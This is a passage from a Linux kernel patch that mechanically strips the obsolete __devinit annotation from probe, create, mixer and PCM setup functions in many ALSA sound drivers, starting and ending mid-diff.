-static int __devinit aaci_init_pcm(struct aaci *aaci)
+static int aaci_init_pcm(struct aaci *aaci)
 {
 	struct snd_pcm *pcm;
 	int ret;
@@ -948,7 +948,7 @@ static int __devinit aaci_init_pcm(struct aaci *aaci)
 	return ret;
 }
 
-static unsigned int __devinit aaci_size_fifo(struct aaci *aaci)
+static unsigned int aaci_size_fifo(struct aaci *aaci)
 {
 	struct aaci_runtime *aacirun = &aaci->playback;
 	int i;
@@ -984,7 +984,7 @@ static unsigned int __devinit aaci_size_fifo(struct aaci *aaci)
 	return i;
 }
 
-static int __devinit aaci_probe(struct amba_device *dev,
+static int aaci_probe(struct amba_device *dev,
 	const struct amba_id *id)
 {
 	struct aaci *aaci;
diff --git a/sound/arm/pxa2xx-ac97-lib.c b/sound/arm/pxa2xx-ac97-lib.c
index 48d7c0a..6fc0ae9 100644
--- a/sound/arm/pxa2xx-ac97-lib.c
+++ b/sound/arm/pxa2xx-ac97-lib.c
@@ -314,7 +314,7 @@ int pxa2xx_ac97_hw_resume(void)
 EXPORT_SYMBOL_GPL(pxa2xx_ac97_hw_resume);
 #endif
 
-int __devinit pxa2xx_ac97_hw_probe(struct platform_device *dev)
+int pxa2xx_ac97_hw_probe(struct platform_device *dev)
 {
 	int ret;
 	pxa2xx_audio_ops_t *pdata = dev->dev.platform_data;
diff --git a/sound/arm/pxa2xx-ac97.c b/sound/arm/pxa2xx-ac97.c
index 6a5d7b3..59ffc3e 100644
--- a/sound/arm/pxa2xx-ac97.c
+++ b/sound/arm/pxa2xx-ac97.c
@@ -163,7 +163,7 @@ static int pxa2xx_ac97_resume(struct device *dev)
 static SIMPLE_DEV_PM_OPS(pxa2xx_ac97_pm_ops, pxa2xx_ac97_suspend, pxa2xx_ac97_resume);
 #endif
 
-static int __devinit pxa2xx_ac97_probe(struct platform_device *dev)
+static int pxa2xx_ac97_probe(struct platform_device *dev)
 {
 	struct snd_card *card;
 	struct snd_ac97_bus *ac97_bus;
diff --git a/sound/atmel/abdac.c b/sound/atmel/abdac.c
index ba14434..d3b9cf5 100644
--- a/sound/atmel/abdac.c
+++ b/sound/atmel/abdac.c
@@ -309,7 +309,7 @@ static struct snd_pcm_ops atmel_abdac_ops = {
 	.pointer	= atmel_abdac_pointer,
 };
 
-static int __devinit atmel_abdac_pcm_new(struct atmel_abdac *dac)
+static int atmel_abdac_pcm_new(struct atmel_abdac *dac)
 {
 	struct snd_pcm_hardware hw = atmel_abdac_hw;
 	struct snd_pcm *pcm;
@@ -386,7 +386,7 @@ static int set_sample_rates(struct atmel_abdac *dac)
 	return retval;
 }
 
-static int __devinit atmel_abdac_probe(struct platform_device *pdev)
+static int atmel_abdac_probe(struct platform_device *pdev)
 {
 	struct snd_card		*card;
 	struct atmel_abdac	*dac;
diff --git a/sound/atmel/ac97c.c b/sound/atmel/ac97c.c
index a4bcd8d..ebe992b 100644
--- a/sound/atmel/ac97c.c
+++ b/sound/atmel/ac97c.c
@@ -756,7 +756,7 @@ static struct ac97_pcm at91_ac97_pcm_defs[] __devinitdata = {
 	},
 };
 
-static int __devinit atmel_ac97c_pcm_new(struct atmel_ac97c *chip)
+static int atmel_ac97c_pcm_new(struct atmel_ac97c *chip)
 {
 	struct snd_pcm		*pcm;
 	struct snd_pcm_hardware	hw = atmel_ac97c_hw;
@@ -902,7 +902,7 @@ static void atmel_ac97c_reset(struct atmel_ac97c *chip)
 	}
 }
 
-static int __devinit atmel_ac97c_probe(struct platform_device *pdev)
+static int atmel_ac97c_probe(struct platform_device *pdev)
 {
 	struct snd_card			*card;
 	struct atmel_ac97c		*chip;
diff --git a/sound/drivers/aloop.c b/sound/drivers/aloop.c
index c4ed8ef..93c19e0 100644
--- a/sound/drivers/aloop.c
+++ b/sound/drivers/aloop.c
@@ -774,7 +774,7 @@ static struct snd_pcm_ops loopback_capture_ops = {
 	.mmap =		snd_pcm_lib_mmap_vmalloc,
 };
 
-static int __devinit loopback_pcm_new(struct loopback *loopback,
+static int loopback_pcm_new(struct loopback *loopback,
 				      int device, int substreams)
 {
 	struct snd_pcm *pcm;
@@ -998,7 +998,7 @@ static struct snd_kcontrol_new loopback_controls[]  __devinitdata = {
 }
 };
 
-static int __devinit loopback_mixer_new(struct loopback *loopback, int notify)
+static int loopback_mixer_new(struct loopback *loopback, int notify)
 {
 	struct snd_card *card = loopback->card;
 	struct snd_pcm *pcm;
@@ -1111,7 +1111,7 @@ static void print_cable_info(struct snd_info_entry *entry,
 	mutex_unlock(&loopback->cable_lock);
 }
 
-static int __devinit loopback_proc_new(struct loopback *loopback, int cidx)
+static int loopback_proc_new(struct loopback *loopback, int cidx)
 {
 	char name[32];
 	struct snd_info_entry *entry;
@@ -1132,7 +1132,7 @@ static int __devinit loopback_proc_new(struct loopback *loopback, int cidx)
 
 #endif
 
-static int __devinit loopback_probe(struct platform_device *devptr)
+static int loopback_probe(struct platform_device *devptr)
 {
 	struct snd_card *card;
 	struct loopback *loopback;
diff --git a/sound/drivers/dummy.c b/sound/drivers/dummy.c
index 339a924..7cfb2f2 100644
--- a/sound/drivers/dummy.c
+++ b/sound/drivers/dummy.c
@@ -688,7 +688,7 @@ static struct snd_pcm_ops dummy_pcm_ops_no_buf = {
 	.page =		dummy_pcm_page,
 };
 
-static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
+static int snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
 					int substreams)
 {
 	struct snd_pcm *pcm;
@@ -891,7 +891,7 @@ DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD),
 },
 };
 
-static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
+static int snd_card_dummy_new_mixer(struct snd_dummy *dummy)
 {
 	struct snd_card *card = dummy->card;
 	struct snd_kcontrol *kcontrol;
@@ -1031,7 +1031,7 @@ static void dummy_proc_write(struct snd_info_entry *entry,
 	}
 }
 
-static void __devinit dummy_proc_init(struct snd_dummy *chip)
+static void dummy_proc_init(struct snd_dummy *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1046,7 +1046,7 @@ static void __devinit dummy_proc_init(struct snd_dummy *chip)
 #define dummy_proc_init(x)
 #endif /* CONFIG_SND_DEBUG && CONFIG_PROC_FS */
 
-static int __devinit snd_dummy_probe(struct platform_device *devptr)
+static int snd_dummy_probe(struct platform_device *devptr)
 {
 	struct snd_card *card;
 	struct snd_dummy *dummy;
diff --git a/sound/drivers/ml403-ac97cr.c b/sound/drivers/ml403-ac97cr.c
index 6c83b1a..9a1f56f 100644
--- a/sound/drivers/ml403-ac97cr.c
+++ b/sound/drivers/ml403-ac97cr.c
@@ -1063,8 +1063,7 @@ snd_ml403_ac97cr_codec_write(struct snd_ac97 *ac97, unsigned short reg,
 	return;
 }
 
-static int __devinit
-snd_ml403_ac97cr_chip_init(struct snd_ml403_ac97cr *ml403_ac97cr)
+static int snd_ml403_ac97cr_chip_init(struct snd_ml403_ac97cr *ml403_ac97cr)
 {
 	unsigned long end_time;
 	PDEBUG(INIT_INFO, "chip_init():\n");
@@ -1108,8 +1107,7 @@ static int snd_ml403_ac97cr_dev_free(struct snd_device *snddev)
 	return snd_ml403_ac97cr_free(ml403_ac97cr);
 }
 
-static int __devinit
-snd_ml403_ac97cr_create(struct snd_card *card, struct platform_device *pfdev,
+static int snd_ml403_ac97cr_create(struct snd_card *card, struct platform_device *pfdev,
 			struct snd_ml403_ac97cr **rml403_ac97cr)
 {
 	struct snd_ml403_ac97cr *ml403_ac97cr;
@@ -1204,8 +1202,7 @@ static void snd_ml403_ac97cr_mixer_free(struct snd_ac97 *ac97)
 	PDEBUG(INIT_INFO, "mixer_free(): (done)\n");
 }
 
-static int __devinit
-snd_ml403_ac97cr_mixer(struct snd_ml403_ac97cr *ml403_ac97cr)
+static int snd_ml403_ac97cr_mixer(struct snd_ml403_ac97cr *ml403_ac97cr)
 {
 	struct snd_ac97_bus *bus;
 	struct snd_ac97_template ac97;
@@ -1237,8 +1234,7 @@ snd_ml403_ac97cr_mixer(struct snd_ml403_ac97cr *ml403_ac97cr)
 	return err;
 }
 
-static int __devinit
-snd_ml403_ac97cr_pcm(struct snd_ml403_ac97cr *ml403_ac97cr, int device,
+static int snd_ml403_ac97cr_pcm(struct snd_ml403_ac97cr *ml403_ac97cr, int device,
 		     struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
@@ -1268,7 +1264,7 @@ snd_ml403_ac97cr_pcm(struct snd_ml403_ac97cr *ml403_ac97cr, int device,
 	return 0;
 }
 
-static int __devinit snd_ml403_ac97cr_probe(struct platform_device *pfdev)
+static int snd_ml403_ac97cr_probe(struct platform_device *pfdev)
 {
 	struct snd_card *card;
 	struct snd_ml403_ac97cr *ml403_ac97cr = NULL;
diff --git a/sound/drivers/mpu401/mpu401.c b/sound/drivers/mpu401/mpu401.c
index 5a7136e..5c10699 100644
--- a/sound/drivers/mpu401/mpu401.c
+++ b/sound/drivers/mpu401/mpu401.c
@@ -100,7 +100,7 @@ static int snd_mpu401_create(int dev, struct snd_card **rcard)
 	return err;
 }
 
-static int __devinit snd_mpu401_probe(struct platform_device *devptr)
+static int snd_mpu401_probe(struct platform_device *devptr)
 {
 	int dev = devptr->id;
 	int err;
@@ -156,7 +156,7 @@ static struct pnp_device_id snd_mpu401_pnpids[] = {
 
 MODULE_DEVICE_TABLE(pnp, snd_mpu401_pnpids);
 
-static int __devinit snd_mpu401_pnp(int dev, struct pnp_dev *device,
+static int snd_mpu401_pnp(int dev, struct pnp_dev *device,
 				 const struct pnp_device_id *id)
 {
 	if (!pnp_port_valid(device, 0) ||
@@ -182,7 +182,7 @@ static int __devinit snd_mpu401_pnp(int dev, struct pnp_dev *device,
 	return 0;
 }
 
-static int __devinit snd_mpu401_pnp_probe(struct pnp_dev *pnp_dev,
+static int snd_mpu401_pnp_probe(struct pnp_dev *pnp_dev,
 					  const struct pnp_device_id *id)
 {
 	static int dev;
diff --git a/sound/drivers/mtpav.c b/sound/drivers/mtpav.c
index ebeff33..8fd51d5 100644
--- a/sound/drivers/mtpav.c
+++ b/sound/drivers/mtpav.c
@@ -583,7 +583,7 @@ static irqreturn_t snd_mtpav_irqh(int irq, void *dev_id)
 /*
  * get ISA resources
  */
-static int __devinit snd_mtpav_get_ISA(struct mtpav * mcard)
+static int snd_mtpav_get_ISA(struct mtpav * mcard)
 {
 	if ((mcard->res_port = request_region(port, 3, "MotuMTPAV MIDI")) == NULL) {
 		snd_printk(KERN_ERR "MTVAP port 0x%lx is busy\n", port);
@@ -619,7 +619,7 @@ static struct snd_rawmidi_ops snd_mtpav_input = {
  * get RAWMIDI resources
  */
 
-static void __devinit snd_mtpav_set_name(struct mtpav *chip,
+static void snd_mtpav_set_name(struct mtpav *chip,
 				      struct snd_rawmidi_substream *substream)
 {
 	if (substream->number >= 0 && substream->number < chip->num_ports)
@@ -634,7 +634,7 @@ static void __devinit snd_mtpav_set_name(struct mtpav *chip,
 		strcpy(substream->name, "MTP broadcast");
 }
 
-static int __devinit snd_mtpav_get_RAWMIDI(struct mtpav *mcard)
+static int snd_mtpav_get_RAWMIDI(struct mtpav *mcard)
 {
 	int rval;
 	struct snd_rawmidi *rawmidi;
@@ -691,7 +691,7 @@ static void snd_mtpav_free(struct snd_card *card)
 
 /*
  */
-static int __devinit snd_mtpav_probe(struct platform_device *dev)
+static int snd_mtpav_probe(struct platform_device *dev)
 {
 	struct snd_card *card;
 	int err;
diff --git a/sound/drivers/mts64.c b/sound/drivers/mts64.c
index d2b9e09..2cbacb4 100644
--- a/sound/drivers/mts64.c
+++ b/sound/drivers/mts64.c
@@ -83,7 +83,7 @@ static int snd_mts64_free(struct mts64 *mts)
 	return 0;
 }
 
-static int __devinit snd_mts64_create(struct snd_card *card, 
+static int snd_mts64_create(struct snd_card *card,
 				      struct pardevice *pardev, 
 				      struct mts64 **rchip)
 {
@@ -214,7 +214,7 @@ static int mts64_device_ready(struct parport *p)
  *  0 init ok
  *  -EIO failure
  */
-static int __devinit mts64_device_init(struct parport *p)
+static int mts64_device_init(struct parport *p)
 {
 	int i;
 
@@ -290,7 +290,7 @@ static u8 mts64_map_midi_input(u8 c)
  *  0       device found
  *  -ENODEV no device
  */
-static int __devinit mts64_probe(struct parport *p)
+static int mts64_probe(struct parport *p)
 {
 	u8 c;
 
@@ -663,7 +663,7 @@ static struct snd_kcontrol_new mts64_ctl_smpte_fps __devinitdata = {
 };
 
 
-static int __devinit snd_mts64_ctl_create(struct snd_card *card, 
+static int snd_mts64_ctl_create(struct snd_card *card,
 					  struct mts64 *mts) 
 {
 	int err, i;
@@ -774,7 +774,7 @@ static struct snd_rawmidi_ops snd_mts64_rawmidi_input_ops = {
 };
 
 /* Create and initialize the rawmidi component */
-static int __devinit snd_mts64_rawmidi_create(struct snd_card *card)
+static int snd_mts64_rawmidi_create(struct snd_card *card)
 {
 	struct mts64 *mts = card->private_data;
 	struct snd_rawmidi *rmidi;
@@ -860,7 +860,7 @@ __out:
 	spin_unlock(&mts->lock);
 }
 
-static int __devinit snd_mts64_probe_port(struct parport *p)
+static int snd_mts64_probe_port(struct parport *p)
 {
 	struct pardevice *pardev;
 	int res;
@@ -884,7 +884,7 @@ static int __devinit snd_mts64_probe_port(struct parport *p)
 	return res;
 }
 
-static void __devinit snd_mts64_attach(struct parport *p)
+static void snd_mts64_attach(struct parport *p)
 {
 	struct platform_device *device;
 
@@ -940,7 +940,7 @@ static void snd_mts64_card_private_free(struct snd_card *card)
 	snd_mts64_free(mts);
 }
 
-static int __devinit snd_mts64_probe(struct platform_device *pdev)
+static int snd_mts64_probe(struct platform_device *pdev)
 {
 	struct pardevice *pardev;
 	struct parport *p;
diff --git a/sound/drivers/pcsp/pcsp.c b/sound/drivers/pcsp/pcsp.c
index c9e5af9..0ad0105 100644
--- a/sound/drivers/pcsp/pcsp.c
+++ b/sound/drivers/pcsp/pcsp.c
@@ -39,7 +39,7 @@ MODULE_PARM_DESC(nopcm, "Disable PC-Speaker PCM sound. Only beeps remain.");
 
 struct snd_pcsp pcsp_chip;
 
-static int __devinit snd_pcsp_create(struct snd_card *card)
+static int snd_pcsp_create(struct snd_card *card)
 {
 	static struct snd_device_ops ops = { };
 	struct timespec tp;
@@ -93,7 +93,7 @@ static int __devinit snd_pcsp_create(struct snd_card *card)
 	return 0;
 }
 
-static int __devinit snd_card_pcsp_probe(int devnum, struct device *dev)
+static int snd_card_pcsp_probe(int devnum, struct device *dev)
 {
 	struct snd_card *card;
 	int err;
@@ -142,7 +142,7 @@ static int __devinit snd_card_pcsp_probe(int devnum, struct device *dev)
 	return 0;
 }
 
-static int __devinit alsa_card_pcsp_init(struct device *dev)
+static int alsa_card_pcsp_init(struct device *dev)
 {
 	int err;
 
@@ -166,7 +166,7 @@ static void __devexit alsa_card_pcsp_exit(struct snd_pcsp *chip)
 	snd_card_free(chip->card);
 }
 
-static int __devinit pcsp_probe(struct platform_device *dev)
+static int pcsp_probe(struct platform_device *dev)
 {
 	int err;
 
diff --git a/sound/drivers/pcsp/pcsp_input.c b/sound/drivers/pcsp/pcsp_input.c
index b5e2b54..b874b0a 100644
--- a/sound/drivers/pcsp/pcsp_input.c
+++ b/sound/drivers/pcsp/pcsp_input.c
@@ -77,7 +77,7 @@ static int pcspkr_input_event(struct input_dev *dev, unsigned int type,
 	return 0;
 }
 
-int __devinit pcspkr_input_init(struct input_dev **rdev, struct device *dev)
+int pcspkr_input_init(struct input_dev **rdev, struct device *dev)
 {
 	int err;
 
diff --git a/sound/drivers/pcsp/pcsp_input.h b/sound/drivers/pcsp/pcsp_input.h
index e66738c..d692749 100644
--- a/sound/drivers/pcsp/pcsp_input.h
+++ b/sound/drivers/pcsp/pcsp_input.h
@@ -7,7 +7,7 @@
 #ifndef __PCSP_INPUT_H__
 #define __PCSP_INPUT_H__
 
-int __devinit pcspkr_input_init(struct input_dev **rdev, struct device *dev);
+int pcspkr_input_init(struct input_dev **rdev, struct device *dev);
 int pcspkr_input_remove(struct input_dev *dev);
 void pcspkr_stop_sound(void);
 
diff --git a/sound/drivers/pcsp/pcsp_lib.c b/sound/drivers/pcsp/pcsp_lib.c
index 434981d..29ebaa4 100644
--- a/sound/drivers/pcsp/pcsp_lib.c
+++ b/sound/drivers/pcsp/pcsp_lib.c
@@ -334,7 +334,7 @@ static struct snd_pcm_ops snd_pcsp_playback_ops = {
 	.pointer = snd_pcsp_playback_pointer,
 };
 
-int __devinit snd_pcsp_new_pcm(struct snd_pcsp *chip)
+int snd_pcsp_new_pcm(struct snd_pcsp *chip)
 {
 	int err;
 
diff --git a/sound/drivers/pcsp/pcsp_mixer.c b/sound/drivers/pcsp/pcsp_mixer.c
index 6f633f4..82bb082 100644
--- a/sound/drivers/pcsp/pcsp_mixer.c
+++ b/sound/drivers/pcsp/pcsp_mixer.c
@@ -128,7 +128,7 @@ static struct snd_kcontrol_new __devinitdata snd_pcsp_controls_spkr[] = {
 	PCSP_MIXER_CONTROL(pcspkr, "Beep Playback Switch"),
 };
 
-static int __devinit snd_pcsp_ctls_add(struct snd_pcsp *chip,
+static int snd_pcsp_ctls_add(struct snd_pcsp *chip,
 	struct snd_kcontrol_new *ctls, int num)
 {
 	int i, err;
@@ -141,7 +141,7 @@ static int __devinit snd_pcsp_ctls_add(struct snd_pcsp *chip,
 	return 0;
 }
 
-int __devinit snd_pcsp_new_mixer(struct snd_pcsp *chip, int nopcm)
+int snd_pcsp_new_mixer(struct snd_pcsp *chip, int nopcm)
 {
 	int err;
 	struct snd_card *card = chip->card;
diff --git a/sound/drivers/portman2x4.c b/sound/drivers/portman2x4.c
index c7df9dd..bc4be6f 100644
--- a/sound/drivers/portman2x4.c
+++ b/sound/drivers/portman2x4.c
@@ -96,7 +96,7 @@ static int portman_free(struct portman *pm)
 	return 0;
 }
 
-static int __devinit portman_create(struct snd_card *card, 
+static int portman_create(struct snd_card *card,
 				    struct pardevice *pardev, 
 				    struct portman **rchip)
 {
@@ -561,7 +561,7 @@ static struct snd_rawmidi_ops snd_portman_midi_input = {
 };
 
 /* Create and initialize the rawmidi component */
-static int __devinit snd_portman_rawmidi_create(struct snd_card *card)
+static int snd_portman_rawmidi_create(struct snd_card *card)
 {
 	struct portman *pm = card->private_data;
 	struct snd_rawmidi *rmidi;
@@ -648,7 +648,7 @@ static void snd_portman_interrupt(void *userdata)
 	spin_unlock(&pm->reg_lock);
 }
 
-static int __devinit snd_portman_probe_port(struct parport *p)
+static int snd_portman_probe_port(struct parport *p)
 {
 	struct pardevice *pardev;
 	int res;
@@ -672,7 +672,7 @@ static int __devinit snd_portman_probe_port(struct parport *p)
 	return res ? -EIO : 0;
 }
 
-static void __devinit snd_portman_attach(struct parport *p)
+static void snd_portman_attach(struct parport *p)
 {
 	struct platform_device *device;
 
@@ -728,7 +728,7 @@ static void snd_portman_card_private_free(struct snd_card *card)
 	portman_free(pm);
 }
 
-static int __devinit snd_portman_probe(struct platform_device *pdev)
+static int snd_portman_probe(struct platform_device *pdev)
 {
 	struct pardevice *pardev;
 	struct parport *p;
diff --git a/sound/drivers/serial-u16550.c b/sound/drivers/serial-u16550.c
index 8930e23..310b075 100644
--- a/sound/drivers/serial-u16550.c
+++ b/sound/drivers/serial-u16550.c
@@ -328,7 +328,7 @@ static void snd_uart16550_buffer_timer(unsigned long data)
  *  return 0 if found
  *  return negative error if not found
  */
-static int __devinit snd_uart16550_detect(struct snd_uart16550 *uart)
+static int snd_uart16550_detect(struct snd_uart16550 *uart)
 {
 	unsigned long io_base = uart->base;
 	int ok;
@@ -783,7 +783,7 @@ static int snd_uart16550_dev_free(struct snd_device *device)
 	return snd_uart16550_free(uart);
 }
 
-static int __devinit snd_uart16550_create(struct snd_card *card,
+static int snd_uart16550_create(struct snd_card *card,
 				       unsigned long iobase,
 				       int irq,
 				       unsigned int speed,
@@ -863,7 +863,7 @@ static int __devinit snd_uart16550_create(struct snd_card *card,
 	return 0;
 }
 
-static void __devinit snd_uart16550_substreams(struct snd_rawmidi_str *stream)
+static void snd_uart16550_substreams(struct snd_rawmidi_str *stream)
 {
 	struct snd_rawmidi_substream *substream;
 
@@ -872,7 +872,7 @@ static void __devinit snd_uart16550_substreams(struct snd_rawmidi_str *stream)
 	}
 }
 
-static int __devinit snd_uart16550_rmidi(struct snd_uart16550 *uart, int device,
+static int snd_uart16550_rmidi(struct snd_uart16550 *uart, int device,
 				      int outs, int ins,
 				      struct snd_rawmidi **rmidi)
 {
@@ -899,7 +899,7 @@ static int __devinit snd_uart16550_rmidi(struct snd_uart16550 *uart, int device,
 	return 0;
 }
 
-static int __devinit snd_serial_probe(struct platform_device *devptr)
+static int snd_serial_probe(struct platform_device *devptr)
 {
 	struct snd_card *card;
 	struct snd_uart16550 *uart;
diff --git a/sound/drivers/virmidi.c b/sound/drivers/virmidi.c
index edcc0b1..ab3ec53 100644
--- a/sound/drivers/virmidi.c
+++ b/sound/drivers/virmidi.c
@@ -83,7 +83,7 @@ struct snd_card_virmidi {
 static struct platform_device *devices[SNDRV_CARDS];
 
 
-static int __devinit snd_virmidi_probe(struct platform_device *devptr)
+static int snd_virmidi_probe(struct platform_device *devptr)
 {
 	struct snd_card *card;
 	struct snd_card_virmidi *vmidi;
diff --git a/sound/firewire/speakers.c b/sound/firewire/speakers.c
index 040acff..3ac0b9ed 100644
--- a/sound/firewire/speakers.c
+++ b/sound/firewire/speakers.c
@@ -663,7 +663,7 @@ static void fwspk_card_free(struct snd_card *card)
 	mutex_destroy(&fwspk->mutex);
 }
 
-static const struct device_info *__devinit fwspk_detect(struct fw_device *dev)
+static const struct device_info *fwspk_detect(struct fw_device *dev)
 {
 	static const struct device_info griffin_firewave = {
 		.driver_name = "FireWave",
@@ -699,7 +699,7 @@ static const struct device_info *__devinit fwspk_detect(struct fw_device *dev)
 	return NULL;
 }
 
-static int __devinit fwspk_probe(struct device *unit_dev)
+static int fwspk_probe(struct device *unit_dev)
 {
 	struct fw_unit *unit = fw_unit(unit_dev);
 	struct fw_device *fw_dev = fw_parent_device(unit);
diff --git a/sound/isa/ad1816a/ad1816a.c b/sound/isa/ad1816a/ad1816a.c
index e8c54d8..2de24dd 100644
--- a/sound/isa/ad1816a/ad1816a.c
+++ b/sound/isa/ad1816a/ad1816a.c
@@ -94,7 +94,7 @@ MODULE_DEVICE_TABLE(pnp_card, snd_ad1816a_pnpids);
 #define	DRIVER_NAME	"snd-card-ad1816a"
 
 
-static int __devinit snd_card_ad1816a_pnp(int dev, struct pnp_card_link *card,
+static int snd_card_ad1816a_pnp(int dev, struct pnp_card_link *card,
 					  const struct pnp_card_device_id *id)
 {
 	struct pnp_dev *pdev;
@@ -135,7 +135,7 @@ static int __devinit snd_card_ad1816a_pnp(int dev, struct pnp_card_link *card,
 	return 0;
 }
 
-static int __devinit snd_card_ad1816a_probe(int dev, struct pnp_card_link *pcard,
+static int snd_card_ad1816a_probe(int dev, struct pnp_card_link *pcard,
 					    const struct pnp_card_device_id *pid)
 {
 	int error;
@@ -219,7 +219,7 @@ static int __devinit snd_card_ad1816a_probe(int dev, struct pnp_card_link *pcard
 
 static unsigned int __devinitdata ad1816a_devices;
 
-static int __devinit snd_ad1816a_pnp_detect(struct pnp_card_link *card,
+static int snd_ad1816a_pnp_detect(struct pnp_card_link *card,
 					    const struct pnp_card_device_id *id)
 {
 	static int dev;
diff --git a/sound/isa/ad1816a/ad1816a_lib.c b/sound/isa/ad1816a/ad1816a_lib.c
index db64df6..2d61df1 100644
--- a/sound/isa/ad1816a/ad1816a_lib.c
+++ b/sound/isa/ad1816a/ad1816a_lib.c
@@ -537,7 +537,7 @@ void snd_ad1816a_resume(struct snd_ad1816a *chip)
 }
 #endif
 
-static int __devinit snd_ad1816a_probe(struct snd_ad1816a *chip)
+static int snd_ad1816a_probe(struct snd_ad1816a *chip)
 {
 	unsigned long flags;
 
@@ -583,7 +583,7 @@ static int snd_ad1816a_dev_free(struct snd_device *device)
 	return snd_ad1816a_free(chip);
 }
 
-static const char __devinit *snd_ad1816a_chip_id(struct snd_ad1816a *chip)
+static const char *snd_ad1816a_chip_id(struct snd_ad1816a *chip)
 {
 	switch (chip->hardware) {
 	case AD1816A_HW_AD1816A: return "AD1816A";
@@ -596,7 +596,7 @@ static const char __devinit *snd_ad1816a_chip_id(struct snd_ad1816a *chip)
 	}
 }
 
-int __devinit snd_ad1816a_create(struct snd_card *card,
+int snd_ad1816a_create(struct snd_card *card,
 				 unsigned long port, int irq, int dma1, int dma2,
 				 struct snd_ad1816a *chip)
 {
@@ -675,7 +675,7 @@ static struct snd_pcm_ops snd_ad1816a_capture_ops = {
 	.pointer =	snd_ad1816a_capture_pointer,
 };
 
-int __devinit snd_ad1816a_pcm(struct snd_ad1816a *chip, int device, struct snd_pcm **rpcm)
+int snd_ad1816a_pcm(struct snd_ad1816a *chip, int device, struct snd_pcm **rpcm)
 {
 	int error;
 	struct snd_pcm *pcm;
@@ -702,7 +702,7 @@ int __devinit snd_ad1816a_pcm(struct snd_ad1816a *chip, int device, struct snd_p
 	return 0;
 }
 
-int __devinit snd_ad1816a_timer(struct snd_ad1816a *chip, int device, struct snd_timer **rtimer)
+int snd_ad1816a_timer(struct snd_ad1816a *chip, int device, struct snd_timer **rtimer)
 {
 	struct snd_timer *timer;
 	struct snd_timer_id tid;
@@ -969,7 +969,7 @@ AD1816A_SINGLE("3D Control - Switch", AD1816A_3D_PHAT_CTRL, 15, 1, 1),
 AD1816A_SINGLE("3D Control - Level", AD1816A_3D_PHAT_CTRL, 0, 15, 0),
 };
                                         
-int __devinit snd_ad1816a_mixer(struct snd_ad1816a *chip)
+int snd_ad1816a_mixer(struct snd_ad1816a *chip)
 {
 	struct snd_card *card;
 	unsigned int idx;
diff --git a/sound/isa/ad1848/ad1848.c b/sound/isa/ad1848/ad1848.c
index 8e0a9b7..3cef9ec 100644
--- a/sound/isa/ad1848/ad1848.c
+++ b/sound/isa/ad1848/ad1848.c
@@ -64,7 +64,7 @@ MODULE_PARM_DESC(dma1, "DMA1 # for " CRD_NAME " driver.");
 module_param_array(thinkpad, bool, NULL, 0444);
 MODULE_PARM_DESC(thinkpad, "Enable only for the onboard CS4248 of IBM Thinkpad 360/750/755 series.");
 
-static int __devinit snd_ad1848_match(struct device *dev, unsigned int n)
+static int snd_ad1848_match(struct device *dev, unsigned int n)
 {
 	if (!enable[n])
 		return 0;
@@ -84,7 +84,7 @@ static int __devinit snd_ad1848_match(struct device *dev, unsigned int n)
 	return 1;
 }
 
-static int __devinit snd_ad1848_probe(struct device *dev, unsigned int n)
+static int snd_ad1848_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	struct snd_wss *chip;
diff --git a/sound/isa/adlib.c b/sound/isa/adlib.c
index 87add77..6a1c666 100644
--- a/sound/isa/adlib.c
+++ b/sound/isa/adlib.c
@@ -30,7 +30,7 @@ MODULE_PARM_DESC(enable, "Enable " CRD_NAME " soundcard.");
 module_param_array(port, long, NULL, 0444);
 MODULE_PARM_DESC(port, "Port # for " CRD_NAME " driver.");
 
-static int __devinit snd_adlib_match(struct device *dev, unsigned int n)
+static int snd_adlib_match(struct device *dev, unsigned int n)
 {
 	if (!enable[n])
 		return 0;
@@ -47,7 +47,7 @@ static void snd_adlib_free(struct snd_card *card)
 	release_and_free_resource(card->private_data);
 }
 
-static int __devinit snd_adlib_probe(struct device *dev, unsigned int n)
+static int snd_adlib_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	struct snd_opl3 *opl3;
diff --git a/sound/isa/als100.c b/sound/isa/als100.c
index 60c96a1..538f866 100644
--- a/sound/isa/als100.c
+++ b/sound/isa/als100.c
@@ -117,7 +117,7 @@ static struct pnp_card_device_id snd_als100_pnpids[] = {
 
 MODULE_DEVICE_TABLE(pnp_card, snd_als100_pnpids);
 
-static int __devinit snd_card_als100_pnp(int dev, struct snd_card_als100 *acard,
+static int snd_card_als100_pnp(int dev, struct snd_card_als100 *acard,
 					 struct pnp_card_link *card,
 					 const struct pnp_card_device_id *id)
 {
@@ -183,7 +183,7 @@ static int __devinit snd_card_als100_pnp(int dev, struct snd_card_als100 *acard,
 	return 0;
 }
 
-static int __devinit snd_card_als100_probe(int dev,
+static int snd_card_als100_probe(int dev,
 					struct pnp_card_link *pcard,
 					const struct pnp_card_device_id *pid)
 {
@@ -288,7 +288,7 @@ static int __devinit snd_card_als100_probe(int dev,
 
 static unsigned int __devinitdata als100_devices;
 
-static int __devinit snd_als100_pnp_detect(struct pnp_card_link *card,
+static int snd_als100_pnp_detect(struct pnp_card_link *card,
 					   const struct pnp_card_device_id *id)
 {
 	static int dev;
diff --git a/sound/isa/azt2320.c b/sound/isa/azt2320.c
index 219b611..da5ed43 100644
--- a/sound/isa/azt2320.c
+++ b/sound/isa/azt2320.c
@@ -99,7 +99,7 @@ MODULE_DEVICE_TABLE(pnp_card, snd_azt2320_pnpids);
 
 #define	DRIVER_NAME	"snd-card-azt2320"
 
-static int __devinit snd_card_azt2320_pnp(int dev, struct snd_card_azt2320 *acard,
+static int snd_card_azt2320_pnp(int dev, struct snd_card_azt2320 *acard,
 					  struct pnp_card_link *card,
 					  const struct pnp_card_device_id *id)
 {
@@ -147,7 +147,7 @@ static int __devinit snd_card_azt2320_pnp(int dev, struct snd_card_azt2320 *acar
 }
 
 /* same of snd_sbdsp_command by Jaroslav Kysela */
-static int __devinit snd_card_azt2320_command(unsigned long port, unsigned char val)
+static int snd_card_azt2320_command(unsigned long port, unsigned char val)
 {
 	int i;
 	unsigned long limit;
@@ -161,7 +161,7 @@ static int __devinit snd_card_azt2320_command(unsigned long port, unsigned char
 	return -EBUSY;
 }
 
-static int __devinit snd_card_azt2320_enable_wss(unsigned long port)
